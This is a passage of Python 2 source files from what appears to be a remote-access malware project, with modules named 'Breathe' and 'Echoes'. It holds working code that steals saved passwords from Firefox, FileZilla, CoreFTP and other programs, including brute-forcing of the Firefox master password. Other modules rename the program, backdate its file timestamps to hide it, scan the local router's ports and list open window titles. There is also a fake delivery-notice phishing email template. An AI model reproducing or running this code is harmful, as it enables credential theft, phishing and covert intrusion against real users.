os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 49 | USERDATA_PATH = SAVE_FILES + "\\User Data\\" 50 | 51 | def makeRList(): 52 | try: 53 | rlist = os.listdir(USERDATA_PATH) 54 | if 'routerlist.txt' not in rlist: 55 | file = open(USERDATA_PATH+'routerlist.txt','w') 56 | file.write(rl) 57 | file.close() 58 | except Exception as e: 59 | print e -------------------------------------------------------------------------------- /Breathe/modify_file_names.py: -------------------------------------------------------------------------------- 1 | # Rename file 2 | import os 3 | 4 | # thisFile = __file__ 5 | 6 | def local_file(path,filename,newname): 7 | print '[*] Modifying local file' 8 | os.rename(os.path.join(path,filename),os.path.join(path,newname)) 9 | 10 | def myself(thisFile,newname): 11 | print '[*] Modifying itself' 12 | os.rename(thisFile,newname) 13 | 14 | -------------------------------------------------------------------------------- /Breathe/modify_timestamp.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | from datetime import datetime, timedelta 4 | 5 | try: 6 | import win32file, win32con 7 | __use_win_32 = True 8 | except: 9 | __use_win_32 = False 10 | 11 | 12 | def changeTimestamp(path,fileName,daylimit): 13 | print '[*] Inside changeTimestamp' 14 | dates = {} 15 | fileName = os.path.join(path, fileName) 16 | dates['tdata'] = getDate(fileName,daylimit) 17 | dates['ctime'] = datetime.utcfromtimestamp(os.path.getctime(fileName)) 18 | 19 | # print "[*] Original time: ",str(dates['ctime']) 20 | 21 | if __use_win_32: 22 | filehandle = win32file.CreateFile(fileName, win32file.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0, None) 23 | win32file.SetFileTime(filehandle, dates['tdata'],dates['tdata'],dates['tdata']) 24 | filehandle.close() 25 | print "[*] Timestamps changed!!" 26 | else: 27 | os.utime(fileName, (time.mktime(dates['tdata'].utctimetuple()),)*2) 28 | 29 | dates['mtime'] = datetime.utcfromtimestamp(os.path.getmtime(fileName)) 30 | # print "[*] Modified time: ",str(dates['mtime']) 31 | 32 | def getDate(path, daylimit): 33 | diff = timedelta(days=daylimit) # Time difference from current date and time and not the folders date 34 | timeStamp = datetime.now() 35 | return timeStamp-diff 36 | -------------------------------------------------------------------------------- /Breathe/portmap.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import Queue 3 | import threading 4 | import datetime 5 | 6 | Flag = True 7 | ports = Queue.Queue() 8 | open_ports = [] 9 | 10 | class PortMap(): 11 | def __init__(self): 12 | pass 13 | 14 | def build_portlist(self, no_ports): 15 | for p in range(no_ports): 16 | ports.put(p) 17 | 18 | def tcp_make_conn(self, host, no_ports): 19 | # TCP/IP socket 20 | global Flag 21 | global open_ports 22 | while not ports.empty(): 23 | port = ports.get() 24 | if port == (no_ports-1): 25 | Flag = False 26 | sock_conn = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 27 | try: 28 | sock_conn.settimeout(0.5) 29 | sock_conn.connect((host,port)) 30 | print "[*] Connection Succesful! Port: %s " % port 31 | open_ports.append(port) 32 | except Exception as e: 33 | pass 34 | 35 | def run_threads(self, threads, host, no_ports): 36 | for i in range(threads): 37 | try: 38 | t = threading.Thread(target=self.tcp_make_conn, args=(host, no_ports, )) 39 | t.daemon = True 40 | t.start() 41 | except Exception as e: 42 | pass 43 | 44 | def run(self, host, threads, no_ports): 45 | print '[*] Mapping ports' 46 | if threads == None: 47 | threads = 50 48 | if no_ports == None: 49 | no_ports = 10000 50 | if host == None: 51 | host = "127.0.0.1" 52 | self.build_portlist(no_ports) 53 | self.run_threads(threads, host, no_ports) 54 | while Flag: 55 | pass 56 | print '[*] Returning ports' 57 | return open_ports 58 | 59 | -------------------------------------------------------------------------------- /Breathe/router_check.py: -------------------------------------------------------------------------------- 1 | import os 2 | import Queue 3 | import socket 4 | import urllib2 5 | import datetime 6 | import threading 7 | import subprocess 8 | import portmap 9 | 10 | router_list = [] 11 | router_webpage = [] 12 | router_logins = ["/login.htm","/login.html",] 13 | links_router_page = [] 14 | 15 | SAVE_FILES = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\CandC' 16 | USERDATA_PATH = SAVE_FILES + "\\User Data\\" 17 | 18 | class FindRouter(): 19 | def __init__(self): 20 | pass 21 | 22 | 23 | def getPrivateIp(self): 24 | try: 25 | return socket.gethostbyname(socket.gethostname()) 26 | except Exception as e: 27 | print e 28 | 29 | 30 | def getPublicIp(self): 31 | try: 32 | return urllib2.urlopen('http://ip.42.pl/raw').read() 33 | except Exception as e: 34 | print e 35 | 36 | 37 | def getRouterList(self): 38 | global router_list 39 | router_list = open(USERDATA_PATH + 'routerlist.txt','r').readlines() 40 | for i in range(len(router_list)): 41 | router_list[i] = router_list[i].rstrip().lower() 42 | 43 | 44 | def checkMyIp(self, ip_to_check): 45 | if ip_to_check[0] == '192' and ip_to_check[1] == '168': 46 | if int(ip_to_check[2]) >= 0 and int(ip_to_check[2]) <= 255: 47 | if int(ip_to_check[3]) >= 0 and int(ip_to_check[3]) <= 255: 48 | print "[*] IP: %s is NAT'd" % (".".join(ip_to_check)) 49 | return True 50 | 51 | 52 | if ip_to_check[0] == '10': 53 | if int(ip_to_check[1]) >= 0 and int(ip_to_check[1]) <= 255: 54 | if int(ip_to_check[2]) >= 0 and int(ip_to_check[2]) <= 255: 55 | if int(ip_to_check[3]) >= 0 and int(ip_to_check[3]) <= 255: 56 | print "[*] IP: %s is NAT'd" % (".".join(ip_to_check)) 57 | return True 58 | 59 | if ip_to_check[0] == '172': 60 | if int(ip_to_check[1]) >= 16 and int(ip_to_check[1]) <= 31: 61 | if int(ip_to_check[2]) >= 0 and int(ip_to_check[2]) <= 255: 62 | if int(ip_to_check[3]) >= 0 and int(ip_to_check[3]) <= 255: 63 | print "[*] IP: %s is NAT'd" % (".".join(ip_to_check)) 64 | return True 65 | 66 | if ip_to_check[0] == '169' and ip_to_check[1] == '254': 67 | if int(ip_to_check[2]) >= 0 and int(ip_to_check[2]) <= 255: 68 | if int(ip_to_check[3]) >= 0 and int(ip_to_check[3]) <= 255: 69 | print "[*] IP: %s is NAT'd (APIPA only)" % (".".join(ip_to_check)) 70 | return True 71 | 72 | return False 73 | 74 | 75 | # Get default gateway address 76 | def pingDefaultGateway(self): 77 | ip_to_check = self.getPrivateIp() 78 | ip_to_check_split = self.getPrivateIp().split(".") 79 | if self.checkMyIp(ip_to_check_split): 80 | ipconfig_output = subprocess.check_output(["ipconfig",],).split('\r\n') 81 | # new changes starts 82 | dot_pos = [pos for pos, char in enumerate(ip_to_check) if char == '.'] 83 | for line in ipconfig_output: 84 | if 'Default Gateway' in line and ip_to_check[:dot_pos[1]+1] in line: 85 | gatewayip = line[line.index(ip_to_check[ip_to_check.index(ip_to_check[0])]):].rstrip() 86 | print '[*] Gateway IP: ' + gatewayip 87 | return gatewayip 88 | 89 | 90 | # Get open ports on default gateway 91 | def openPorts(self, host, threads, ports): 92 | # global open_ports 93 | lp = portmap.PortMap() 94 | open_ports = lp.run(host, threads, ports) 95 | return open_ports 96 | 97 | 98 | # Request default gateway at specific ports 99 | def getRouterInfo(self, host, open_ports): 100 | global router_webpage 101 | global links_router_page 102 | for ports in open_ports: 103 | try: 104 | router_addr = 'http://' + host + ':' + str(ports) 105 | r = urllib2.Request(router_addr) 106 | response = urllib2.urlopen(r, timeout=7).read() 107 | router_webpage = response.split() 108 | 109 | except Exception as e: 110 | print '[*] Failed connection on host', host, 'port', ports 111 | return True 112 | 113 | 114 | # Request url fund in default gatways response 115 | def getRouterInfoUrl(self, url): 116 | global router_webpage 117 | router_webpage = [] 118 | try: 119 | router_addr = url 120 | r = urllib2.Request(router_addr) 121 | response = urllib2.urlopen(r).read() 122 | router_webpage = response.split() 123 | except Exception as e: 124 | print '[*] Failed connection on host', url 125 | return True 126 | 127 | 128 | # Print the results 129 | def getResult(self): 130 | global router_webpage 131 | global router_list 132 | for i in router_list: 133 | for j in router_webpage: 134 | if i.lower() in j.lower(): 135 | print "[*] Router Found: %s" % i 136 | return i 137 | return False 138 | 139 | 140 | def run(self): 141 | print '[*] Looking for router' 142 | host = self.pingDefaultGateway() #'127.0.0.1' 143 | open_ports = self.openPorts(host, 50, 10000) # [7777,8888] 144 | self.getRouterList() 145 | self.getRouterInfo(host, open_ports) 146 | 147 | router_found = self.getResult() 148 | return router_found 149 | 150 | # a = FindRouter() 151 | # b = a.run() 152 | # print b 153 | -------------------------------------------------------------------------------- /Breathe/set_email_template.py: -------------------------------------------------------------------------------- 1 | import urllib2 2 | 3 | text = '''Dear Customer, 4 | 5 | We could not deliver your item. 6 | You can review and print complete details of shipping duty on your order. 7 | Thanks 8 | PDF Attachment: update_Form.pdf''' 9 | 10 | 11 | def setDefaultEmailTemplate(PATH_MAIL_TEMP): 12 | print '[*] Setting default email template' 13 | template_file = open(PATH_MAIL_TEMP,'w') 14 | template_file.write(text) 15 | template_file.close() 16 | 17 | def setEmailTemplate(PATH_MAIL_TEMP, URL): 18 | print '[*] Setting email template' 19 | data = urllib2.urlopen(URL) 20 | data = data.split("\n") 21 | template_file = open(PATH_MAIL_TEMP,'w') 22 | template_file.write(data) 23 | template_file.close() 24 | 25 | def updateEmailTemplate(PATH_MAIL_TEMP, data): 26 | print '[*] Updating email template' 27 | template_file = open(PATH_MAIL_TEMP,'w') 28 | template_file.write(data) 29 | template_file.close() -------------------------------------------------------------------------------- /Breathe/window_title.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | 3 | def revealWindows(): 4 | print '[*] Getting window titles' 5 | EnumWindows = ctypes.windll.user32.EnumWindows 6 | EnumWindowsProc = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) 7 | GetWindowText = ctypes.windll.user32.GetWindowTextW 8 | GetWindowTextLength = ctypes.windll.user32.GetWindowTextLengthW 9 | IsWindowVisible = ctypes.windll.user32.IsWindowVisible 10 | 11 | titles = [] 12 | def foreach_window(hwnd, lParam): 13 | if IsWindowVisible(hwnd): 14 | length = GetWindowTextLength(hwnd) 15 | buff = ctypes.create_unicode_buffer(length + 1) 16 | GetWindowText(hwnd, buff, length + 1) 17 | titles.append(buff.value) 18 | return True 19 | 20 | EnumWindows(EnumWindowsProc(foreach_window), 0) 21 | 22 | return titles 23 | 24 | # windows = revealWindows() 25 | # for title in windows: 26 | # print title -------------------------------------------------------------------------------- /Echoes/Coreftp.py: -------------------------------------------------------------------------------- 1 | # Based on the works of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/ 2 | import binascii 3 | from Crypto.Cipher import AES 4 | import win32con, win32api 5 | 6 | 7 | class CoreFTP(): 8 | def __init__(self): 9 | self 10 | 11 | def get_secret(self): 12 | return "hdfzpysvpzimorhk" 13 | 14 | def decrypt(self, hex): 15 | encoded = binascii.unhexlify(hex) 16 | secret = self.get_secret() 17 | BLOCK_SIZE = 16 18 | mode = AES.MODE_ECB 19 | cipher = AES.new(secret, mode) 20 | return cipher.decrypt(encoded).split('\x00')[0] 21 | 22 | def get_key_info(self): 23 | accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE 24 | try: 25 | key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\FTPware\\CoreFTP\\Sites', 0, accessRead) 26 | except Exception, e: 27 | return False 28 | 29 | num_profiles = win32api.RegQueryInfoKey(key)[0] 30 | pwdFound = [] 31 | for n in range(num_profiles): 32 | name_skey = win32api.RegEnumKey(key, n) 33 | 34 | skey = win32api.RegOpenKey(key, name_skey, 0, accessRead) 35 | num = win32api.RegQueryInfoKey(skey)[1] 36 | 37 | values = {} 38 | for nn in range(num): 39 | k = win32api.RegEnumValue(skey, nn) 40 | if k[0] == 'Host': 41 | values['Host'] = k[1] 42 | if k[0] == 'Port': 43 | values['Port'] = k[1] 44 | if k[0] == 'User': 45 | values['User'] = k[1] 46 | pwdFound.append(values) 47 | if k[0] == 'PW': 48 | try: 49 | values['Password'] = self.decrypt(k[1]) 50 | except Exception, e: 51 | values['Password'] = 'N/A' 52 | # print the results 53 | return pwdFound 54 | 55 | def run(self): 56 | 57 | pwd_found = self.get_key_info() 58 | 59 | if pwd_found == False: 60 | pass 61 | else: 62 | return pwd_found 63 | 64 | # tem = CoreFTP() 65 | # a= tem.run() 66 | # print a 67 | -------------------------------------------------------------------------------- /Echoes/Filezilla.py: -------------------------------------------------------------------------------- 1 | # Based on the work of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/ 2 | import xml.etree.cElementTree as ET 3 | import os, base64 4 | 5 | class Filezilla(): 6 | def __init__(self): 7 | options = {'command': '-f', 'action': 'store_true', 'dest': 'filezilla', 'help': 'filezilla'} 8 | 9 | def run(self): 10 | if 'APPDATA' in os.environ: 11 | directory = os.environ['APPDATA'] + '\FileZilla' 12 | else: 13 | return 14 | 15 | interesting_xml_file = [] 16 | info_xml_file = [] 17 | if os.path.exists(os.path.join(directory, 'sitemanager.xml')): 18 | interesting_xml_file.append('sitemanager.xml') 19 | info_xml_file.append('Stores all saved sites server info including password in plaintext') 20 | 21 | if os.path.exists(os.path.join(directory, 'recentservers.xml')): 22 | interesting_xml_file.append('recentservers.xml') 23 | info_xml_file.append('Stores all recent server info including password in plaintext') 24 | 25 | if os.path.exists(os.path.join(directory, 'filezilla.xml')): 26 | interesting_xml_file.append('filezilla.xml') 27 | info_xml_file.append('Stores most recent server info including password in plaintext') 28 | 29 | if interesting_xml_file != []: 30 | pwdFound = [] 31 | 32 | for i in range(len(interesting_xml_file)): 33 | 34 | xml_file = os.path.expanduser(directory + os.sep + interesting_xml_file[i]) 35 | 36 | tree = ET.ElementTree(file=xml_file) 37 | root = tree.getroot() 38 | 39 | servers = root.getchildren() 40 | for ss in servers: 41 | server = ss.getchildren() 42 | 43 | jump_line = 0 44 | for s in server: 45 | s1 = s.getchildren() 46 | values = {} 47 | for s11 in s1: 48 | if s11.tag == 'Host': 49 | values[s11.tag] = s11.text 50 | 51 | if s11.tag == 'Port': 52 | values[s11.tag] = s11.text 53 | 54 | if s11.tag == 'User': 55 | values['Login'] = s11.text 56 | 57 | if s11.tag == 'Pass': 58 | try: 59 | # if base64 encoding 60 | if 'encoding' in s11.attrib: 61 | if s11.attrib['encoding'] == 'base64': 62 | values['Password'] = base64.b64decode(s11.text) 63 | else: 64 | values['Password'] = s11.text 65 | except: 66 | values['Password'] = s11.text 67 | 68 | # password found 69 | if len(values) != 0: 70 | pwdFound.append(values) 71 | # print the results 72 | return pwdFound 73 | 74 | else: 75 | pass 76 | 77 | #tem = Filezilla() 78 | #a = tem.run() 79 | #print a 80 | -------------------------------------------------------------------------------- /Echoes/Mozilla.py: -------------------------------------------------------------------------------- 1 | # Based on the work of https://github.com/AlessandroZ/LaZagne/blob/master/Windows/lazagne/ 2 | from ctypes import * 3 | import sys, os, re, glob 4 | from base64 import b64decode 5 | from ConfigParser import RawConfigParser 6 | import sqlite3 7 | import json 8 | import shutil 9 | from itertools import product 10 | from pyasn1.codec.der import decoder 11 | from struct import unpack 12 | from binascii import hexlify, unhexlify 13 | from hashlib import sha1 14 | import hmac 15 | from Crypto.Util.number import long_to_bytes 16 | from Crypto.Cipher import DES3 17 | from constant import * 18 | 19 | 20 | class Credentials(object): 21 | def __init__(self, db): 22 | global database_find 23 | self.db = db 24 | if os.path.isfile(db): 25 | # check if the database is not empty 26 | f = open(db, 'r') 27 | tmp = f.read() 28 | if tmp: 29 | database_find = True 30 | f.close() 31 | 32 | def __iter__(self): 33 | pass 34 | 35 | def done(self): 36 | pass 37 | 38 | 39 | class JsonDatabase(Credentials): 40 | def __init__(self, profile): 41 | db = profile + os.sep + "logins.json" 42 | super(JsonDatabase, self).__init__(db) 43 | 44 | def __iter__(self): 45 | if os.path.exists(self.db): 46 | with open(self.db) as fh: 47 | data = json.load(fh) 48 | try: 49 | logins = data["logins"] 50 | except: 51 | raise Exception("Unrecognized format in {0}".format(self.db)) 52 | 53 | for i in logins: 54 | yield (i["hostname"], i["encryptedUsername"], i["encryptedPassword"]) 55 | 56 | 57 | class SqliteDatabase(Credentials): 58 | def __init__(self, profile): 59 | db = profile + os.sep + "signons.sqlite" 60 | super(SqliteDatabase, self).__init__(db) 61 | self.conn = sqlite3.connect(db) 62 | self.c = self.conn.cursor() 63 | 64 | def __iter__(self): 65 | self.c.execute("SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins") 66 | for i in self.c: 67 | yield i 68 | 69 | def done(self): 70 | super(SqliteDatabase, self).done() 71 | self.c.close() 72 | self.conn.close() 73 | 74 | 75 | class Mozilla(): 76 | 77 | def __init__(self, isThunderbird=False): 78 | 79 | self.credentials_categorie = None 80 | 81 | self.toCheck = [] 82 | self.manually_pass = None 83 | self.dictionary_path = None 84 | self.number_toStop = None 85 | 86 | self.key3 = '' 87 | 88 | # Manage options 89 | suboptions = [ 90 | {'command': '-m', 'action': 'store', 'dest': 'manually', 'help': 'enter the master password manually', 91 | 'title': 'Advanced Mozilla master password options'}, 92 | {'command': '-s', 'action': 'store', 'dest': 'specific_path', 93 | 'help': 'enter the specific path to a profile you want to crack', 94 | 'title': 'Advanced Mozilla master password options'} 95 | ] 96 | 97 | def get_path(self, software_name): 98 | software_name = 'Firefox' 99 | if 'APPDATA' in os.environ: 100 | if software_name == 'Firefox': 101 | path = '%s\Mozilla\Firefox' % str(os.environ['APPDATA']) 102 | else: 103 | return 104 | 105 | return path 106 | 107 | def manage_advanced_options(self): 108 | if constant.manually: 109 | self.manually_pass = constant.manually 110 | self.toCheck.append('m') 111 | 112 | if constant.path: 113 | self.dictionary_path = constant.path 114 | self.toCheck.append('a') 115 | 116 | if constant.bruteforce: 117 | self.number_toStop = int(constant.bruteforce) + 1 118 | self.toCheck.append('b') 119 | 120 | # default attack 121 | if self.toCheck == []: 122 | self.toCheck = ['b', 'd'] 123 | self.number_toStop = 3 124 | 125 | # -------------------------------------------- 126 | 127 | def getShortLE(self, d, a): 128 | return unpack('L', (d)[a:a + 4])[0] 132 | 133 | def printASN1(self, d, l, rl): 134 | type = ord(d[0]) 135 | length = ord(d[1]) 136 | if length & 0x80 > 0: 137 | nByteLength = length & 0x7f 138 | length = ord(d[2]) 139 | skip = 1 140 | else: 141 | skip = 0 142 | 143 | if type == 0x30: 144 | seqLen = length 145 | readLen = 0 146 | while seqLen > 0: 147 | len2 = self.printASN1(d[2 + skip + readLen:], seqLen, rl + 1) 148 | seqLen = seqLen - len2 149 | readLen = readLen + len2 150 | return length + 2 151 | elif type == 6: # OID 152 | return length + 2 153 | elif type == 4: # OCTETSTRING 154 | return length + 2 155 | elif type == 5: # NULL 156 | # print 0 157 | return length + 2 158 | elif type == 2: # INTEGER 159 | return length + 2 160 | else: 161 | if length == l - 2: 162 | self.printASN1(d[2:], length, rl + 1) 163 | return length 164 | 165 | def readBsddb(self, name): 166 | f = open(name, 'rb') 167 | 168 | header = f.read(4 * 15) 169 | magic = self.getLongBE(header, 0) 170 | if magic != 0x61561: 171 | return False 172 | version = self.getLongBE(header, 4) 173 | if version != 2: 174 | return False 175 | pagesize = self.getLongBE(header, 12) 176 | nkeys = self.getLongBE(header, 0x38) 177 | 178 | readkeys = 0 179 | page = 1 180 | nval = 0 181 | val = 1 182 | db1 = [] 183 | while (readkeys < nkeys): 184 | f.seek(pagesize * page) 185 | offsets = f.read((nkeys + 1) * 4 + 2) 186 | offsetVals = [] 187 | i = 0 188 | nval = 0 189 | val = 1 190 | keys = 0 191 | while nval != val: 192 | keys += 1 193 | key = self.getShortLE(offsets, 2 + i) 194 | val = self.getShortLE(offsets, 4 + i) 195 | nval = self.getShortLE(offsets, 8 + i) 196 | offsetVals.append(key + pagesize * page) 197 | offsetVals.append(val + pagesize * page) 198 | readkeys += 1 199 | i += 4 200 | offsetVals.append(pagesize * (page + 1)) 201 | valKey = sorted(offsetVals) 202 | for i in range(keys * 2): 203 | f.seek(valKey[i]) 204 | data = f.read(valKey[i + 1] - valKey[i]) 205 | db1.append(data) 206 | page += 1 207 | f.close() 208 | db = {} 209 | 210 | for i in range(0, len(db1), 2): 211 | db[db1[i + 1]] = db1[i] 212 | 213 | return db 214 | 215 | def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData): 216 | hp = sha1(globalSalt + masterPassword).digest() 217 | pes = entrySalt + '\x00' * (20 - len(entrySalt)) 218 | chp = sha1(hp + entrySalt).digest() 219 | k1 = hmac.new(chp, pes + entrySalt, sha1).digest() 220 | tk = hmac.new(chp, pes, sha1).digest() 221 | k2 = hmac.new(chp, tk + entrySalt, sha1).digest() 222 | k = k1 + k2 223 | iv = k[-8:] 224 | key = k[:24] 225 | 226 | return DES3.new(key, DES3.MODE_CBC, iv).decrypt(encryptedData) 227 | 228 | def extractSecretKey(self, globalSalt, masterPassword, entrySalt): 229 | 230 | (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) 231 | 232 | if unhexlify('f8000000000000000000000000000001') not in self.key3: 233 | return None 234 | privKeyEntry = self.key3[unhexlify('f8000000000000000000000000000001')] 235 | saltLen = ord(privKeyEntry[1]) 236 | nameLen = ord(privKeyEntry[2]) 237 | privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) 238 | data = privKeyEntry[3 + saltLen + nameLen:] 239 | self.printASN1(data, len(data), 0) 240 | 241 | # see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt 242 | entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() 243 | privKeyData = privKeyEntryASN1[0][1].asOctets() 244 | privKey = self.decrypt3DES(globalSalt, masterPassword, entrySalt, privKeyData) 245 | self.printASN1(privKey, len(privKey), 0) 246 | 247 | privKeyASN1 = decoder.decode(privKey) 248 | prKey = privKeyASN1[0][2].asOctets() 249 | self.printASN1(prKey, len(prKey), 0) 250 | prKeyASN1 = decoder.decode(prKey) 251 | id = prKeyASN1[0][1] 252 | key = long_to_bytes(prKeyASN1[0][3]) 253 | 254 | return key 255 | 256 | # -------------------------------------------- 257 | 258 | # Get the path list of the firefox profiles 259 | def get_firefox_profiles(self, directory): 260 | cp = RawConfigParser() 261 | cp.read(os.path.join(directory, 'profiles.ini')) 262 | profile_list = [] 263 | for section in cp.sections(): 264 | if section.startswith('Profile'): 265 | if cp.has_option(section, 'Path'): 266 | profile_list.append(os.path.join(directory, cp.get(section, 'Path').strip())) 267 | return profile_list 268 | 269 | def save_db(self, userpath): 270 | 271 | # create the folder to save it by profile 272 | relative_path = constant.folder_name + os.sep + 'firefox' 273 | if not os.path.exists(relative_path): 274 | os.makedirs(relative_path) 275 | 276 | relative_path += os.sep + os.path.basename(userpath) 277 | if not os.path.exists(relative_path): 278 | os.makedirs(relative_path) 279 | 280 | # Get the database name 281 | if os.path.exists(userpath + os.sep + 'logins.json'): 282 | dbname = 'logins.json' 283 | elif os.path.exists(userpath + os.sep + 'signons.sqlite'): 284 | dbname = 'signons.sqlite' 285 | 286 | # copy the files (database + key3.db) 287 | try: 288 | ori_db = userpath + os.sep + dbname 289 | dst_db = relative_path + os.sep + dbname 290 | shutil.copyfile(ori_db, dst_db) 291 | except Exception, e: 292 | pass 293 | 294 | try: 295 | dbname = 'key3.db' 296 | ori_db = userpath + os.sep + dbname 297 | dst_db = relative_path + os.sep + dbname 298 | shutil.copyfile(ori_db, dst_db) 299 | except Exception, e: 300 | pass 301 | 302 | # ------------------------------ Master Password Functions ------------------------------ 303 | 304 | def is_masterpassword_correct(self, masterPassword=''): 305 | try: 306 | # see http://www.drh-consultancy.demon.co.uk/key3.html 307 | pwdCheck = self.key3['password-check'] 308 | entrySaltLen = ord(pwdCheck[1]) 309 | entrySalt = pwdCheck[3: 3 + entrySaltLen] 310 | encryptedPasswd = pwdCheck[-16:] 311 | globalSalt = self.key3['global-salt'] 312 | cleartextData = self.decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedPasswd) 313 | if cleartextData != 'password-check\x02\x02': 314 | return ('', '', '') 315 | 316 | return (globalSalt, masterPassword, entrySalt) 317 | except: 318 | return ('', '', '') 319 | 320 | # Retrieve masterpassword 321 | def found_masterpassword(self): 322 | 323 | # master password entered manually 324 | if 'm' in self.toCheck: 325 | if self.is_masterpassword_correct(self.manually_pass)[0]: 326 | return self.manually_pass 327 | else: 328 | pass 329 | 330 | # dictionary attack 331 | if 'a' in self.toCheck: 332 | try: 333 | pass_file = open(self.dictionary_path, 'r') 334 | num_lines = sum(1 for line in pass_file) 335 | except: 336 | return False 337 | pass_file.close() 338 | 339 | try: 340 | with open(self.dictionary_path) as f: 341 | for p in f: 342 | if self.is_masterpassword_correct(p.strip())[0]: 343 | return p.strip() 344 | 345 | except (KeyboardInterrupt, SystemExit): 346 | print 'INTERRUPTED!' 347 | except Exception, e: 348 | pass 349 | 350 | # brute force attack 351 | if 'b' in self.toCheck or constant.bruteforce: 352 | charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' 353 | 354 | try: 355 | for length in range(1, int(self.number_toStop)): 356 | words = product(charset_list, repeat=length) 357 | for word in words: 358 | if self.is_masterpassword_correct(''.join(word))[0]: 359 | w = ''.join(word) 360 | return w.strip() 361 | except (KeyboardInterrupt, SystemExit): 362 | print 'INTERRUPTED!' 363 | except Exception, e: 364 | pass 365 | return False 366 | 367 | # ------------------------------ End of Master Password Functions ------------------------------ 368 | 369 | # main function 370 | def run(self): 371 | global database_find 372 | database_find = False 373 | 374 | self.manage_advanced_options() 375 | 376 | software_name = constant.mozilla_software 377 | specific_path = constant.specific_path 378 | 379 | # get the installation path 380 | path = self.get_path(software_name) 381 | if not path: 382 | return 383 | 384 | # Check if mozilla folder has been found 385 | elif not os.path.exists(path): 386 | return 387 | else: 388 | if specific_path: 389 | if os.path.exists(specific_path): 390 | profile_list = [specific_path] 391 | else: 392 | return 393 | else: 394 | profile_list = self.get_firefox_profiles(path) 395 | 396 | pwdFound = [] 397 | for profile in profile_list: 398 | if not os.path.exists(profile + os.sep + 'key3.db'): 399 | return 400 | 401 | self.key3 = self.readBsddb(profile + os.sep + 'key3.db') 402 | if not self.key3: 403 | return 404 | 405 | # check if passwords are stored on the Json format 406 | try: 407 | credentials = JsonDatabase(profile) 408 | except: 409 | database_find = False 410 | 411 | if not database_find: 412 | # check if passwords are stored on the sqlite format 413 | try: 414 | credentials = SqliteDatabase(profile) 415 | except: 416 | database_find = False 417 | 418 | if database_find: 419 | masterPassword = '' 420 | (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) 421 | 422 | # find masterpassword if set 423 | if not globalSalt: 424 | masterPassword = self.found_masterpassword() 425 | if not masterPassword: 426 | return 427 | 428 | # get user secret key 429 | key = self.extractSecretKey(globalSalt, masterPassword, entrySalt) 430 | if not key: 431 | return 432 | 433 | # everything is ready to decrypt password 434 | for host, user, passw in credentials: 435 | values = {} 436 | values["Website"] = host 437 | 438 | # Login 439 | loginASN1 = decoder.decode(b64decode(user)) 440 | iv = loginASN1[0][1][1].asOctets() 441 | ciphertext = loginASN1[0][2].asOctets() 442 | login = DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext) 443 | # remove bad character at the end 444 | try: 445 | nb = unpack('B', login[-1])[0] 446 | values["Username"] = login[:-nb] 447 | except: 448 | values["Username"] = login 449 | 450 | # Password 451 | passwdASN1 = decoder.decode(b64decode(passw)) 452 | iv = passwdASN1[0][1][1].asOctets() 453 | ciphertext = passwdASN1[0][2].asOctets() 454 | password = DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext) 455 | # remove bad character at the end 456 | try: 457 | nb = unpack('B', password[-1])[0] 458 | values["Password"] = password[:-nb] 459 | except: 460 | values["Password"] = password 461 | 462 | if len(values): 463 | pwdFound.append(values) 464 | 465 | # print the results 466 | return pwdFound 467 | 468 | #tem = Mozilla() 469 | #a = tem.run() 470 | #print a 471 | -------------------------------------------------------------------------------- /Echoes/Run.py: -------------------------------------------------------------------------------- 1 | import chrome 2 | import Coreftp 3 | import cyberduck 4 | import dotnet 5 | import Filezilla 6 | import ftpnavigator 7 | import Mozilla 8 | import network 9 | import outlook 10 | import putty 11 | import skype 12 | import winscp 13 | 14 | class Result(): 15 | def __init__(self): 16 | pass 17 | 18 | def run(self): 19 | print '[*] Running password finder' 20 | ret_list = [] 21 | 22 | try: 23 | print '[*] Finding credentials in Chrome' 24 | chrome_win = chrome.Chrome() 25 | ret_list.append("Chrome") 26 | ret_list.append(chrome_win.run()) 27 | except: 28 | pass 29 | 30 | try: 31 | print '[*] Finding credentials in Mozilla' 32 | moz_illa = Mozilla.Mozilla() 33 | ret_list.append("Mozilla") 34 | ret_list.append(moz_illa.run()) 35 | except: 36 | pass 37 | 38 | try: 39 | print '[*] Finding Filezilla credentials' 40 | file_zilla = Filezilla.Filezilla() 41 | ret_list.append("Filezilla") 42 | ret_list.append(file_zilla.run()) 43 | except: 44 | pass 45 | 46 | try: 47 | print '[*] Finding CoreFTP credentials' 48 | core_ftp = Coreftp.CoreFTP() 49 | ret_list.append("CoreFTP") 50 | ret_list.append(core_ftp.run()) 51 | except: 52 | pass 53 | 54 | try: 55 | print '[*] Finding Cyberduck credentials' 56 | cyber_duck = cyberduck.Cyberduck() 57 | ret_list.append("Cyberduck") 58 | ret_list.append(cyber_duck.run()) 59 | except: 60 | pass 61 | 62 | try: 63 | print '[*] Finding FtpNavigator credentials' 64 | ftp_navigator = ftpnavigator.FtpNavigator() 65 | ret_list.append("FtpNavigator") 66 | ret_list.append(ftp_navigator.run()) 67 | except: 68 | pass 69 | 70 | try: 71 | print '[*] Finding Outlook credentials' 72 | out_look = outlook.Outlook() 73 | ret_list.append("Outlook") 74 | ret_list.append(out_look.run()) 75 | except: 76 | pass 77 | 78 | try: 79 | print 